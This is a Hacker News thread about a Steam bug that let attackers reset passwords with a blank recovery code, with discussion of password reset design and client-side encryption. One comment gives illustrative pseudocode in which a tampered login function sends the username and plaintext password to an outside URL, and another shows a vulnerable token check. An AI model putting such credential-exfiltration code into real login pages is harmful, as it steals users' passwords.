
Steam hit by major security breach - aestetix
http://masterherald.com/steam-hit-by-major-security-breach-many-accounts-hacked/23239/
======
watbe
The exploit has been fixed, and this video shows how easy it was to perform:
[https://www.youtube.com/watch?v=QPl_BJoBaVA](https://www.youtube.com/watch?v=QPl_BJoBaVA)

TL;DW: Steam accepted blank recovery codes for password resets, enabling
passwords to be changed without needing access to the recovery email account.

I hope someone is writing a new test case.

~~~
ars
> Steam accepted blank recovery codes for password resets

Sample buggy code (that I just made up):

(user_token is user supplied token, token is the correct token)

    
    
      for(i = 0; i < strlen(user_token); i++) {
        if(user_token[i] != token[i]) return false;
      }
      return true;
    

If code is blank this will falsely return true. This is also subject to
truncation attacks.

I'm trying to think of a bug where blank fails, but truncated versions do not.

~~~
brobinson
Another not-so-obvious bug with your example buggy code: it's also vulnerable
to timing attacks.

[http://codahale.com/a-lesson-in-timing-
attacks/](http://codahale.com/a-lesson-in-timing-attacks/)

~~~
tomjen3
True, but I don't think Steam allows you enough tries to make it viable.

------
tptacek
Take a few minutes and re-evaluate your password reset scheme. They are
treacherously difficult to get right. Every pentest we did, we made a beeline
for the password reset functionality; it was often a cheap, quick gameover
bug.

~~~
MattHeard
I spent a week consulting for a small education software start-up and was
horrified when I saw that their password reset process was the following:

1\. An anonymous person sends a message via Google Chat to the support Gmail
address.

2\. A staff member would ask the anonymous person for the username of the
account for which to reset the password.

3\. The anonymous person would present the username.

4\. The staff member would reset the password and create a temporary password
and would then give that anonymous person the password. The staff member would
then explain how to change the password once the anonymous person had logged
in with the temporary password.

I spent too long trying to explain to the staff and the CEO why it was a
problem that any person could gain access to any account...

~~~
ForHackernews
It wasn't a YCombinator startup, was it?

~~~
tripzilch
I doubt he's allowed to share that information (whether it is, or isn't), and
you shouldn't tempt him to, either.

------
tracker1
This is why the bigger you are, the more important it is to log almost
everything that you can... It sucks from one side, because it is a security
risk to log potentially sensitive information, on the other hand it's critical
to be able to diagnose problems in the wild.

In this case, if requests for password resets are logging the codes sent (even
if the error is present), they would be able to determine which accounts were
affected, and return them to the appropriate registered email address (if they
were changed).

On the one hand, the storage and compute costs for these kinds of things
suck.. but this is exactly what big table solutions are for, be they C*,
ElasticSearch, Google, Azure or AWS table storage solutions. If you have more
than 10K users on your system, and logging everything possible isn't routine,
it should be.

Access to read that log data is another issue entirely.

------
ekianjo
This is what concerns me the most with Valve: you build a library of games
over the years, and one day someone hijacks your account (because of improper
testing on Valve's side) and you lose it or it becomes banned, and you are
left with nothing but your eyes to cry.

At least with GOG this would never happen (at long as you save your games
locally), but the GOG catalog is way smaller than Steam's.

~~~
NamTaf
The good thing with Valve is that although they make comically terrible
mistakes like this, they know they're bad at getting stuff right and put
traceable information on _everything_

Get falsely VAC banned? They'll detect this and know exactly what happened and
revert the issue. Have your account hijacked? They'll trace exactly what
happens and fix it all up. Not to mention that this change triggered the
standard 'you can't trade or market any games/items on your account for 7
days' block, so even when someone takes your account you don't actually lose
anything.

Valve makes some incredibly bad bugs in their software (games as well as Steam
itself), but at least they track and trace everything so they can unwind their
screw-ups.

~~~
bluejellybean
Disclaimer: I currently make my living thanks to valve software

Hah, maybe if you're lucky enough to actually hit a human. Valve has
ludicrously terrible support. There have been tons of reports of 1-2 week wait
times after submitting a ticket, only to receive an automated response with
nothing to do with the actual ticket (even experienced this myself a few
times, not fun).

People are quick to praise valve but I don't think it's truly deserved
anymore. Sadly the days of them caring about their products and communities
are long gone..

~~~
ekianjo
> Hah, maybe if you're lucky enough to actually hit a human

To be fair, Valve is probably not fit to have proper consumer support since
they are still a very small company (with a HUGE customer base). Unless they
decide to invest in headcounts to have proper support, that is.

~~~
bluejellybean
To be fair, last I checked valve is a multi-billion dollar company, not some
small-scale startup. They could easily build out a quality support
infrastructure but choose not to.

~~~
ekianjo
> multi-billion dollar company

checked with what? Valve is not a public company nobody actually knows how
MUCH they earn. you can only estimate it.

> not some small-scale startup

They are very small scale in terms of employees numbers. Check your facts.

> They could easily build out a quality support infrastructure but choose not
> to.

For that statement, I agree with you.

~~~
mikeyouse
At any reasonable estimate of Valve's revenue and valuation multiples, they're
easily a billion dollar company, I'd be surprised if it was as low as only
$1B. They have nearly 500 employees listed on LinkedIn[1] which is probably a
decent estimate given people who've left but haven't updated their profiles
and those without profiles in the first place. That's not a small company by
any stretch, and I think we can all agree they're purposefully making the
decision to not offer competent support.

[1] -
[https://www.linkedin.com/company/13922?trk=tyah&trkInfo=clic...](https://www.linkedin.com/company/13922?trk=tyah&trkInfo=clickedVertical%3Acompany%2Cidx%3A2-1-4%2CtarId%3A1437979031171%2Ctas%3Avalve)

~~~
ekianjo
> I'd be surprised if it was as low as only $1B. They have nearly 500
> employees

> That's not a small company by any stretch

Please, give me more examples of billion dollars companies which have only 500
employees.

~~~
jsnell
Instagram. Oculus. WhatsApp. SuperCell. GungHo. Mojang. Twitch.tv.

It'd be easy to go on. And I'd bet there's no way Valve is just a $1 billion
company.

~~~
ekianjo
I don't know about all of them, but do you realize that we are talking about
1B$ ACTUAL revenue in current dollars of sales, not valuation ? These are two
very different things.

~~~
jsnell
I'm pretty sure the discussion was about valuation / market cap:

> At any reasonable estimate of Valve's revenue and valuation multiples,
> they're easily a billion dollar company

~~~
addandsubtract
How about valuations based on revenue then...

~~~
ekianjo
If they already have one billion in revenues their valuation is likely much
higher than that.

~~~
addandsubtract
Instagram, Oculus, WhatsApp, Twitch.tv don't have a billion dollar revenue.

~~~
ekianjo
That was precisely my point.

------
ninja_to_be
As part of one of my academic projects, I did a bit of research on password
reset functionality of about a dozen major websites. It was interesting to
note that each and every website had implemented it in a different manner. So
much difference in the process and the lack of a standard procedure was
shocking, though understandable. It was interesting to brainstorm and discuss
about the rationale behind each of the password reset process and the User
Experience decisions involved.

I also noticed a frighteningly large number of small websites that get
'password reset' absolutely wrong, compromising their users' accounts. It is
something that is very difficult to get right, unless thought through
completely before implementation. Whenever I signup for a new user account on
a fairly new website, I try to use a dummy throwaway password on the first
attempt and then try the password reset option to see if the website is
actually serious about security. It is like a litmus test for me to decide
about continuing to use the website and trusting them with more of my data.

~~~
fr0styMatt2
Can you give some examples of what you'd consider red flags in a site's
password reset procedure? I'd be really curious; this is an area that I've
thought about as a "necessary but horrible-for-security thing".

~~~
ninja_to_be
A few examples of unacceptable practices followed by certain websites include:

\- Sending your password to your email in _plain text_. \- Allowing user to
set new password just by answering simple personal details like DOB, Zip code
etc which might be known to a number of your friends and family members.

Often it is simple enough to implement a password reset functionality with a
reset-link that contains a GUID which expires after a certain period of time.
It could be more secure, but is a tradeoff between providing greater security
and a longer reset process.

One of the major risks of websites with very naive reset procedures is that
many people use the same password with multiple websites. So if a user's
password gets compromised on a site, then the attacker can easily try those
passwords with other services and gain easy access to user data.

~~~
LunaSea
The real issue with getting your plain text password in an email is that it
means the site is not hashing passwords at all.

~~~
otherusername2
Only if the send you your old password. If they reset your password, they can
send you the plaintext first, then hash the password and store it in the
database.

~~~
jlarocco
No. The problem is that email isn't encrypted on the backend. Sending a plain
text password means every server between the website's SMTP server and your
email provider's SMTP server can see the password.

~~~
NeutronBoy
As opposed to what? Every server between the website's SMTP server and your
email provider's SMTP server can see the password reset link?

~~~
ajanuary
When implemented correctly, password reset links

a) Work once. If you click on a password reset link and it says it's already
been used, you know something is up, v.s. someone using the plaintext password
to log in before you and you are non the wiser.

b) Expire. Lot's of people won't bother changing the password that was given
to them, so anyone who comes across a plaintext password in the email at a
later date would be able to log in.

~~~
NeutronBoy
Both of these things can be true with temporary plaintext passwords.

~~~
tripzilch
> Both of these things can be true with temporary plaintext passwords.

In that sense, a password reset link _is equivalent to_ a temporary plaintext
password.

Except it's got better usability, being a link that you can click on.

------
Pxtl
Text of the message sent to Steam users:

"Dear Steam User,

On July 25th we learned of a Steam bug that could have impacted the password
reset process on your Steam account during the period July 21-July 25. The bug
has now been fixed.

To protect users, we are resetting passwords on accounts that changed
passwords during that period using the account recovery wizard. You will
receive an email with your new password. Once that email is received, it is
recommended that you login to your account via the Steam client and set a new
password.

Please note that while your password was potentially modified during this
period the password itself was not revealed. Also, if you had Steam Guard
enabled, your account was protected from unauthorized logins even if your
password was modified.

We apologize for any inconvenience."

~~~
tripzilch
> Please note that while your password was potentially modified during this
> period the password itself was not revealed.

Why would you tell people this? :-) The worst that can happen is that they
figure out password re-use is a bad thing, panic and change it on all those
other sites they use it ;-)

------
fivedogit
The first thing that came to mind when I read this headline was Valve's famous
structureless work environment. If there's no structure, who handles all the
grunt work noboday wants to do... like security?

Even if somebody is explicitly assigned to security, I'm not very confident
they'd have the authority to make all these freewheeling ad hoc teams adhere
to good practices.

~~~
kevingadd
A few months back I had a discussion with a Valve developer about the
sandboxing they use for the Steam Overlay and its embedded web browser. I was
describing how their sandboxing was inadequate and vulnerable, and he
responded by explaining how they had done things correctly and listing the
measures they took.

Then I explained that the measures were incomplete and the embedded browser
wasn't actually secure (among other problems, the sandbox was running as
Administrator with the debug privilege...) He investigated, and saw that the
sandboxing was never finished by the engineer who worked on it. So he took
some time to go finish it himself. Up until that point, Valve had been
operating under the assumption that they had a working sandbox - worse than if
they had no sandbox at all.

The above is merely an anecdote, but I've heard a lot from current/former
Valve employees to the effect that engineers are rewarded for doing high-
profile/high-impact work and not encouraged to do much else. If you interact
with them as a game developer you can really see this in action with how they
ship Steamworks updates - major features break without warning, bugs go
unfixed, no real support channel, incomplete documentation.

I spent a couple weeks building out Steam Workshop support for a title. Doing
this required identifying and working around a handful of strange,
undocumented bugs and API limitations. In the time since we launched, Steam
updates have broken the workshop support at least twice, requiring me to spend
a day or two figuring out what broke and ship a patch. I've seen similar
issues with other titles.

~~~
Akkuma
My own interaction with two developers there several years ago was that the
web was clearly the redheaded stepchild of Valve. I think they said something
like maybe 7 people worked on those features back then, one of those two only
sort of worked on it. Additionally, they only really had something like 3-4
people focusing on it most of the time.

For years they had prototype.js included, yet the library was essentially dead
at that point for at least a year. Now they have jQuery and are running 1.8.X
version, which means they are using a 2.5 year old version. I think this kind
of speaks for itself.

------
Pxtl
The big disappointment is how long it took them to acknowledge the issue. I
was freaking out thinking my gmail account had been compromised. Was up into
the wee hours of the morning trying to scrape log-files from my Android
devices trying to figure out which one was leaking, since Google said nothing
else was connected to my account.

I found out because somebody on Steam forums linked me to a Reddit thread on
the subject.

Yeah, this is one of those "let the users know ASAP!" things.

------
nodesocket
Wow reset token blank worked. How in the world could their backend not check
for an empty token, or even how is this validating true against the value in
the database?

~~~
curiousjorge
I'd expected better but it's quiet perplexing as to how they missed it.

~~~
XMPPwocky
They don't seem to have any automated or manual testing before deployment (or
at least, extremely little)- for example, one recent bug was that all the
prices on the store disappeared, and nobody could buy anything.

------
keypusher
Enable Steam Guard, and it will force anyone logging in from an unrecognized
device to submit a code they send you via text or email.

~~~
hav
From the post:

> It’s not yet clear if Steam Guard offers sufficient protection from the
> exploit, as there have been some reports from users claiming that their
> accounts have been compromised even with Steam Guard enabled.

It's always good to have some kind of 2FA active, but it's unclear if it
helped in this case.

~~~
shin_lao
If you get hacked from a machine your previously authenticated I guess Steam
guard will not work.

------
nness
This isn't one of those "change your passwords" moments, is it? Based on how
this exploit worked, I would assume you'd already know if your account was
breached and that there is no on-going risk after the fix?

~~~
dhagz
I changed mine anyway; I've been meaning to change to a more secure password.
I definitely think that if your account wasn't compromised, you don't _need_
to change your password.

------
ejcx
One little know cool thing steam has done for a while is encrypt passwords
with a RSA public key before they are sent server side.

Yes, js crypto is not worth a whole lot but it is a valuable security tool to
be used with TLS. There are some neat things they could be doing with this
encrypted password (other than plainly decrypting it) that add a fair bit of
security (no more than just a regular hash though).

~~~
codexon
No not really. It highlights how incompetent Valve is at security.

If you cannot trust the webserver or whatever is being served to you, JS
crypto isn't going to do anything. They could just send you a login script
that sends your unencrypted password elsewhere.

~~~
ejcx

        It highlights how incompetent Valve is at security.
    

Adding one feature shows they are incompetent at security? Great real.

Without more information about the scheme there's nothing to know. Whether
useful or not it is still neat and can be used for benefit, but not for
something TLS like.

~~~
danparsonson
Adding a feature that feels like security but actually isn't, would not be a
good sign that they have a good understanding of web security.

What's the difference between 'client sends plaintext password' and 'client
sends encrypted password' from the point of view of an attacker? All you're
aiming to prevent is client-side interception but in reality it doesn't matter
what you do to the password locally - if what you send is what the server
expects then you still get in; the encrypted plaintext effectively becomes the
password. Thus an attacker who can intercept a plaintext password is at no
disadvantage intercepting an encrypted or hashed password instead, since it's
still valid password data as far as the server is concerned.

If you as a service provider want to deal with an encrypted password at all
times then why not just do that at the server end? And as the parent said, if
as a client you can't trust the intentions of the server with respect to your
password then encrypting it locally does nothing when they hold the keys to
decrypt it, and provide the software you're using to do the encryption and
transmission.

~~~
TheDong
It actually is a feature that adds value though.

The way it worked was valve provides the RSA mod, exponent, and a timestamp.

You rsa-encrypted your password with that information and send it. They double
checked server-side that you encrypted it with that information, decrypt it
with their private key, and get on with checking against the hash in the
database.

What this buys you is that if an attacker intercepts that login, it can't be
re-used. Next time, valve will give a different mod and exp. Next time the
valid encrypted password will be different. It turns the user typing the same
password every time into a new encrypted value each time with each being valid
for a short amount of time.

So that's what RSA buys you here.

~~~
codexon
TLS already ensures that the attacker cannot intercept the login.

If you cannot trust the TLS connection, all bets are off.

~~~
TheDong
Defense in depth. It doesn't hurt to have more layers.

Anyways, we all know you can't trust TLS because any rogue CA can compromise
the security of any domain. Any of the CA hacking in the last while means that
a valid certificate for steampowered.com could be issued by the hacker.
Similarly, on corporate networks, a rogue employee with access to the root for
the default-installed company CA could MITM any of the employees.

Some corporate networks and schools just MITM all traffic by default, and in
some cases log a portion of it. If that log were leaked or poorly secured, it
would help to have another layer on top of that.

There's no question that TLS is imperfect and no question that when it comes
to security you should pile on as many layers as possible and assume every one
of them might be broken.

~~~
codexon
You aren't getting it though.

Yes defense in depth is good. But javascript encryption is the weakest link in
the chain, it isn't an extra layer of security. This is something that many
people seem to have trouble understanding.

As I just said in my original post, if you assume someone can already emulate
your domain, all you have to do is edit the javascript to send the unencrypted
password to your server and pass the encrypted version to the real server. No
amount of layers of security is going to save you from that.

Maybe this pseudocode will help you understand.

    
    
      function submit(user, pass) {
        $.get('http://news.ycombinator.com/dump/?u='+user+'&p='+pass) // you will never notice this
        var encrypted = encrypt(pass)
        send(user, encrypted)
      }

~~~
TheDong
You don't need to be so condescending; I understand js crypto is typically a
fools game.

Your example does fail for one of my examples; the case of a poorly secured
log from the passive MITM of all connections at a company / university.

If the MITM was simply passive, without encryption the password (possibly
valid for other things as well) has been leaked, but with the above encryption
scheme it will not have been.

Anyways, the main client to this mechanism is not the browser, but the steam
client which very well could verify the hash of the javascript files provided
to it or their signature since valve has significantly tighter control over
it.

I'm not saying that this scheme is a good idea or significantly more secure,
I'm just trying to explain what could justify it.

~~~
nly
You can't do _passive_ MITM of TLS if the server is properly configured to use
ephemeral key exchange, even if you have its private key. And even without
ephemeral kex, and you somehow obtain a secondary trusted CA-signed cert for
Steams domain, you _still_ can't do passive MITM.

JS crypto really is worthless if you can't trust the connection.

------
tcfunk
How is it that I don't see anything about this exploit on any of their sites?
It's not on the steam store website, not on the Valve site, and not in Valve's
news feed.

------
rdudek
How long has this been active? Reason I ask is that I once had my account
hacked many years ago, it took a few days but I got it back.

~~~
skymt
Until recently Steam handled password resets through the client. The new web-
based reset interface was introduced less than a month ago:
[http://steamcommunity.com/groups/SteamClientBeta#announcemen...](http://steamcommunity.com/groups/SteamClientBeta#announcements/detail/52138466991582333)

I'd assume that this bug was added then.

------
coherentpony
This site raises my blood pressure; I can't view the content because of
nonsense popups giving me definitions of words like "account".

~~~
degenerate
No need to have a stroke. Just install ublock origin. Underline and ad-popups
are gone. Done.

------
fr0styMatt2
FYI Steam also has a mobile authenticator as part of the Steam app now; I
remember seeing a banner for it pop up in Steam news not too long ago:

[https://support.steampowered.com/kb_article.php?ref=8625-WRA...](https://support.steampowered.com/kb_article.php?ref=8625-WRAH-9030)

------
farresito
Now I understand how I lost my account a week ago. Not that I used it too
much.

------
fsiefken
Is it advisable to change your password in this case? Is there anything other
you can or should do to secure your account even though some report it is
fixed?

------
MichaelGG
What a hyperbolic article. Valve will undo any damage. It's absolutely silly
to think that they'd enforce a VAC ban due to abuse on their system.

~~~
Strom
This exploit was mostly used to hit Twitch streamers. People whose job
involves using their Steam account. They had hours of reduced revenue due to
this attack and I find it unlikely that Valve will even acknowledge any
opportunity costs, let alone reimburse them.

~~~
MichaelGG
Nor should they. Is someone paying Valve for a particular SLA? I'd guess not.

I was talking about stolen items and VAC and so on. As if this was a physical
robbery where priceless stuff could be lost.

------
Pxtl
Dollars to donuts somebody wrote an overly-permissive NULL check. Nullity
ruins everything.

------
andrewchambers
Does anyone know if you are liable for disclosing bugs irresponsibly?

~~~
nness
You could be liable when disclosing bugs responsibly too, as some researchers
have learned when investigating voting machine security.

------
xianglifei
……

------
koyao
Did Steam just go down? Maybe from the load that Hacker News is generating?

[https://isitup.org/store.steampowered.com](https://isitup.org/store.steampowered.com)

store.steampowered.com seems to be down!

~~~
orf
I highly doubt the HN traffic caused Steam to go down, their statistics
page[1] shows how much traffic they process each hour (and it's a _lot_ ).

1\.
[http://store.steampowered.com/stats/content/](http://store.steampowered.com/stats/content/)

